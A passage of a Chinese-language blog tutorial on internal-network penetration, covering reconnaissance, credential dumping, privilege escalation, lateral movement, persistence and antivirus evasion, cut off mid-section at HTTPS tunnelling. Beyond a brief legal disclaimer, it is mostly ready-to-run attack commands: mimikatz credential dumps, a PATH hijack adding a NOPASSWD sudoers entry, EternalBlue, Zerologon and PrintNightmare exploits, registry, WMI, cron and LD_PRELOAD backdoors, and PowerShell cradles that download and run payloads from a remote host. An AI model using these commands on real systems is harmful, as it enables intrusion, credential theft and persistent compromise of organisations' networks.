# 内网渗透高级教程:从入门到黑客级别

声明:黑客技术涵盖多个层面,从网络攻击到社会工程,从恶意代码到物理入侵。白帽黑客(Ethical Hackers)使用这些技术进行防御,而黑帽黑客(Black Hat Hackers)则用于非法目的。学习黑客技术应遵循法律和道德规范,用于安全研究或授权渗透测试。

告示:格式有些错乱,请谅解,记得点赞关注哦!

## 第一部分:内网渗透基础概念

### 1.1 内网渗透定义与范畴

内网渗透测试(Internal Network Penetration Testing)是指安全人员在获得组织授权后,模拟攻击者的行为对内部网络进行安全评估的过程。与外部渗透测试不同,内网渗透测试假设攻击者已经突破了网络边界防护,重点评估内部网络的安全状况。

内网渗透的核心目标包括:
- 识别内网中的安全漏洞和错误配置
- 评估横向移动的可能性
- 检测权限提升机会
- 评估敏感数据访问风险
- 测试安全监控和响应能力

### 1.2 内网渗透与红蓝对抗

现代内网渗透常常作为红蓝对抗(Red Team vs Blue Team)的一部分。红队(攻击方)通过模拟高级持续性威胁(APT)的攻击手法,测试蓝队(防御方)的检测和响应能力。

红队操作通常包括:
- 初始访问(Initial Access)
- 命令与控制(C2 - Command and Control)
- 权限提升(Privilege Escalation)
- 横向移动(Lateral Movement)
- 持久化(Persistence)
- 目标达成(Objective Completion)

### 1.3 内网环境特点

典型企业内网环境具有以下特点:
1. **分层网络结构**:通常分为DMZ、办公网、生产网、管理网等不同安全区域
2. **域环境**:大多数企业使用Active Directory(AD)进行身份管理和资源控制
3. **安全防护不均衡**:边界防护较强,内部防护较弱
4. **信任关系复杂**:服务器之间、设备之间存在多种信任关系
5. **老旧系统共存**:常存在未更新的老旧操作系统和应用

## 第二部分:内网渗透前期准备

### 2.1 环境信息收集

#### 2.1.1 网络拓扑探测

```bash
# Linux下使用traceroute
traceroute 10.10.10.1

# Windows下使用tracert
tracert 10.10.10.1

# 使用nmap进行路由跟踪
nmap --traceroute 10.10.10.0/24
```

#### 2.1.2 存活主机发现

```bash
# ARP扫描(需root权限)
arp-scan -l
nmap -sn 10.10.10.0/24

# 使用Netdiscover
netdiscover -i eth0 -r 10.10.10.0/24

# Windows下使用arp命令
arp -a
```

#### 2.1.3 端口与服务识别

```bash
# 基础扫描
nmap -sS -sV -O 10.10.10.1-254

# 全面扫描(耗时较长)
nmap -A -T4 -p- 10.10.10.0/24

# UDP扫描(谨慎使用,易触发告警)
nmap -sU --top-ports 100 10.10.10.0/24
```

### 2.2 域环境信息收集

#### 2.2.1 基础域信息

```powershell
# 查询域基本信息
nltest /domain_trusts
systeminfo | findstr /B /C:"Domain"

# 使用PowerShell获取域信息
Get-ADDomain
Get-ADForest
```

#### 2.2.2 用户与组枚举

```powershell
# 获取域用户列表
net user /domain
Get-ADUser -Filter * | Select-Object Name,SamAccountName

# 获取域组列表
net group /domain
Get-ADGroup -Filter * | Select-Object Name
```

#### 2.2.3 计算机对象枚举

```powershell
# 获取域内计算机列表
net group "Domain Computers" /domain
Get-ADComputer -Filter * | Select-Object Name,DNSHostName
```

### 2.3 凭证获取技术

#### 2.3.1 内存凭证提取

```bash
# 使用mimikatz(需管理员权限)
mimikatz # sekurlsa::logonpasswords

# 使用SafetyKatz(绕过AV)
SafetyKatz.exe "sekurlsa::logonpasswords" "exit"
```

#### 2.3.2 哈希转储

```bash
# 使用secretsdump.py(需管理员权限)
secretsdump.py -hashes :NTDS_NTLM_HASH LOCAL

# 使用Invoke-NinjaCopy
Invoke-NinjaCopy -Path C:\Windows\NTDS\ntds.dit -LocalDestination ntds.dit
```

#### 2.3.3 密码喷洒攻击

```bash
# 使用DomainPasswordSpray
Invoke-DomainPasswordSpray -UserList users.txt -Password Spring2023! -Domain corp.com

# 使用CrackMapExec
crackmapexec smb 10.10.10.0/24 -u userlist.txt -p 'Password123' --continue-on-success
```

## 第三部分:权限提升技术

### 3.1 Windows系统提权

#### 3.1.1 内核漏洞利用

```bash
# 使用Windows-Exploit-Suggester
python windows-exploit-suggester.py --database 2023-04-01-mssb.xls --systeminfo systeminfo.txt

# 常见提权漏洞
# CVE-2021-34527 (PrintNightmare)
# CVE-2020-1472 (Zerologon)
# CVE-2019-1458 (WizardOpium)
```

#### 3.1.2 服务配置漏洞

```powershell
# 查找可写服务
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
Get-Acl -Path HKLM:\System\CurrentControlSet\Services\* | Where-Object {$_.AccessToString -match "Authenticated Users"}

# 服务路径劫持
sc config VulnService binPath= "C:\Windows\System32\cmd.exe /c net localgroup administrators user /add"
```

#### 3.1.3 计划任务利用

```powershell
# 查找可写计划任务
schtasks /query /fo LIST /v
Get-ScheduledTask | Where-Object {$_.Principal.UserId -notmatch "SYSTEM|LOCAL SERVICE"} | Select-Object TaskName,Principal
```

### 3.2 Linux系统提权

#### 3.2.1 内核漏洞利用

```bash
# 查找内核版本
uname -a
cat /etc/*release

# 使用Linux Exploit Suggester
perl linux-exploit-suggester.pl

# 常见提权漏洞
# CVE-2021-4034 (PwnKit)
# CVE-2021-3156 (Sudo Baron Samedit)
# CVE-2019-18634 (Sudo pwfeedback)
```

#### 3.2.2 SUID/SGID滥用

```bash
# 查找SUID/SGID文件
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# 常见可利用程序
# find, vim, bash, less, more, nano, cp, mv
```

#### 3.2.3 环境变量劫持

```bash
# 查找PATH中的可写目录
echo $PATH | tr ':' '\n' | while read line; do ls -ld "$line"; done

# 劫持示例
export PATH=/tmp:$PATH
echo 'echo "user ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/ls
chmod +x /tmp/ls
```

## 第四部分:横向移动技术

### 4.1 基于凭证的横向移动

#### 4.1.1 Pass-the-Hash (PtH)

```bash
# 使用CrackMapExec
crackmapexec smb 10.10.10.0/24 -u administrator -H NTLM_HASH --local-auth

# 使用psexec.py
psexec.py -hashes :NTLM_HASH administrator@10.10.10.10
```

#### 4.1.2 Pass-the-Ticket (PtT)

```bash
# 使用mimikatz导出票据
mimikatz # sekurlsa::tickets /export

# 注入票据
mimikatz # kerberos::ptt C:\path\to\ticket.kirbi

# 使用Rubeus
Rubeus.exe ptt /ticket:C:\path\to\ticket.kirbi
```

#### 4.1.3 Overpass-the-Hash

```bash
# 使用Rubeus
Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt

# 使用mimikatz
mimikatz # sekurlsa::pth /user:administrator /domain:corp.com /ntlm:NTLM_HASH /run:cmd.exe
```

### 4.2 基于漏洞的横向移动

#### 4.2.1 MS17-010 (EternalBlue)

```bash
# 使用Metasploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

# 使用AutoBlue
python eternalblue_exploit7.py 10.10.10.10 shellcode/sc_all.bin
```

#### 4.2.2 CVE-2020-1472 (Zerologon)

```bash
# 使用zerologon-exploit
python3 zerologon-exploit.py DC_NETBIOS_NAME DC_IP_ADDRESS

# 重置机器账户密码
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDRESS'
```

#### 4.2.3 CVE-2021-1675 (PrintNightmare)

```bash
# 使用Cube0x0的PoC
python3 CVE-2021-1675.py domain/user:password@10.10.10.10 '\\10.10.10.100\share\malicious.dll'

# 使用Metasploit
use exploit/windows/dcerpc/cve_2021_1675_printnightmare
```

### 4.3 基于服务的横向移动

#### 4.3.1 WMI利用

```powershell
# 执行命令
Invoke-WMIExec -Target 10.10.10.10 -Domain corp.com -Username administrator -Hash NTLM_HASH -Command "cmd /c whoami"

# 使用wmiexec.py
wmiexec.py -hashes :NTLM_HASH corp.com/administrator@10.10.10.10
```

#### 4.3.2 WinRM利用

```powershell
# 使用evil-winrm
evil-winrm -i 10.10.10.10 -u administrator -H NTLM_HASH

# 使用Invoke-Command
$cred = New-Object System.Management.Automation.PSCredential("corp.com\administrator", (ConvertTo-SecureString "Password123" -AsPlainText -Force))
Invoke-Command -ComputerName 10.10.10.10 -Credential $cred -ScriptBlock { whoami }
```

#### 4.3.3 RDP利用

```bash
# 使用xfreerdp
xfreerdp /v:10.10.10.10 /u:administrator /pth:NTLM_HASH +clipboard /dynamic-resolution

# 使用rdesktop
rdesktop -u administrator -p '' -N 10.10.10.10
```

## 第五部分:持久化技术

### 5.1 Windows持久化

#### 5.1.1 注册表启动项

```powershell
# 添加注册表启动项
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\malware.exe" /f

# 使用WMI事件订阅
$filterArgs = @{name='BackdoorFilter'; EventNameSpace='root\cimv2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs

$consumerArgs = @{name='BackdoorConsumer'; CommandLineTemplate="$($Env:SystemRoot)\System32\malware.exe";}
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $consumerArgs

Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$filter; Consumer=$consumer}
```

#### 5.1.2 计划任务

```powershell
# 创建计划任务
schtasks /create /tn "Backdoor" /tr "C:\malware.exe" /sc minute /mo 1 /ru SYSTEM

# 使用PowerShell
$action = New-ScheduledTaskAction -Execute "C:\malware.exe"
$trigger = New-ScheduledTaskTrigger -AtLogOn -User "NT AUTHORITY\SYSTEM"
Register-ScheduledTask -TaskName "Backdoor" -Action $action -Trigger $trigger -RunLevel Highest
```

#### 5.1.3 服务创建

```powershell
# 创建服务
sc create Backdoor binPath= "C:\malware.exe" start= auto
sc start Backdoor

# 使用PowerShell
New-Service -Name "Backdoor" -BinaryPathName "C:\malware.exe" -StartupType Automatic
Start-Service -Name "Backdoor"
```

### 5.2 Linux持久化

#### 5.2.1 Cron Jobs

```bash
# 添加cron任务
(crontab -l ; echo "* * * * * /tmp/malware.sh") | crontab -

# 系统级cron
echo "* * * * * root /tmp/malware.sh" >> /etc/crontab
```

#### 5.2.2 SSH后门

```bash
# 添加SSH authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> ~/.ssh/authorized_keys

# 修改sshd_config允许root登录
sed -i 's/PermitRootLogin no/PermitRootLogin yes/g' /etc/ssh/sshd_config
systemctl restart sshd
```

#### 5.2.3 LD_PRELOAD后门

```bash
# 创建恶意库
echo 'void _init() { unsetenv("LD_PRELOAD"); system("/tmp/malware.sh"); }' > /tmp/malware.c
gcc -fPIC -shared -o /tmp/malware.so /tmp/malware.c -nostartfiles

# 设置LD_PRELOAD
echo "export LD_PRELOAD=/tmp/malware.so" >> ~/.bashrc
```

## 第六部分:高级规避技术

### 6.1 反病毒规避

#### 6.1.1 代码混淆

```powershell
# PowerShell混淆示例
$code = {
    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
    $wc = New-Object System.Net.WebClient
    $wc.DownloadString("http://10.10.10.100/malware.ps1") | IEX
}

$encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($code))
powershell -EncodedCommand $encoded
```

#### 6.1.2 进程注入

```bash
# 使用Process Hollowing
# 工具:Metasploit的post/windows/manage/migrate模块
# 或使用C#实现如SharpHollow

# 使用Process Doppelgänging
# 工具:https://github.com/hasherezade/process_doppelganging
```

#### 6.1.3 无文件攻击

```powershell
# PowerShell内存执行
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.100/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds

# 使用WMI事件订阅执行
$command = "powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.100/payload.ps1')"
$filterArgs = @{name='UpdateFilter'; EventNameSpace='root\cimv2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs
$consumerArgs = @{name='UpdateConsumer'; CommandLineTemplate=$command;}
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $consumerArgs
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$filter; Consumer=$consumer}
```

### 6.2 网络流量规避

#### 6.2.1 域前置技术

```bash
# 使用C2框架配置(如Cobalt Strike)
# 配置CDN域名指向合法服务(如Azure、AWS、Google Cloud)
# 实际流量转发到C2服务器
```

#### 6.2.2 DNS隧道

```bash
# 使用dnscat2
# 服务端
dnscat2-server domain.com

# 客户端
dnscat2 --dns server=domain.com --secret=mysecret
```

#### 6.2.3 HTTPS隧道

```bash
# 使用Chisel
# 服务端
chisel server -p 8080 --reverse

#

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值